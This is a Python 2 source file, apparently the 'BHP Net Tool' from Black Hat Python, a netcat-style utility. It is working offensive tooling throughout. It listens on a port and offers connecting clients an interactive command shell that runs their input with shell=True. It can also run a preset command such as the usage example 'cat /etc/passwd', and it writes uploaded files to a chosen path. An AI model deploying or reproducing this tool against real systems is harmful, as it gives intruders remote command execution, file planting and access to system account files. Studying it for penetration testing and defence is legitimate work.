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bhpnet.py
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208 lines (163 loc) · 5.5 KB
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import getopt
import socket
import subprocess
import sys
import threading
# global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 9999
# print help
def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for incoming connections"
print "-e --execute=file_to_run - execute the given command upon receiving a connection"
print "-c --commandshell - initialize a command shell"
print "-u --upload=destination - upon receiving a connection upload file and write to [destination]"
print
print
print "Examples:"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
print "echo 'ABCDEFG' | ./bhpnet.py -t 192.168.0.1 -p 5555"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
# show help if no parameters specified
if not len(sys.argv[1:]):
usage()
# read the parameters
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", ["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled Option"
# are we listening or sending data from stdin?
if not listen and len(target) and port > 0:
# read into the buffer from the commandline
# this will block, so send ctrl-D if not sending input to stdin
buffer = sys.stdin.read()
# send data
client_sender(buffer)
# we are listening and potentially going to upload things
# execute commands or get a shell depending in the options above
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# connect to target host
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
# read the reponse
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
# end of response?
if recv_len < 4096:
break
print response
# wait for more input
buffer = raw_input("")
buffer += "\n"
# send to client
client.send(buffer)
except:
print "[*] Exception! Exiting."
# tear down the connection
client.close()
def server_loop():
global target
# if no target is defined listen on all interfaces
if not len(target):
target = "0.0.0.0"
print "%s:%s" % (target, port)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin up thread to handle the new client
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def run_command(command):
# trim the newline
command = command.rstrip()
# run the command and retreive the output
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "failed to execute command. \r\n"
return output
def client_handler(client_socket):
global upload
global execute
global command
#check for upload
if len(upload_destination):
# read until we can read no more
file_buffer = ""
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# write the buffer to a file
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("failed to save file to %s\r\n" % upload_destination)
# check for command exec
if len(execute):
output = run_command(execute)
client_socket.send(output)
# check for shell request
if command:
while True:
# show command prompt
client_socket.send("<BHP:#> ")
# receive until enter key hit
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer +=client_socket.recv(1024)
response = run_command(cmd_buffer)
client_socket.send(response)
main()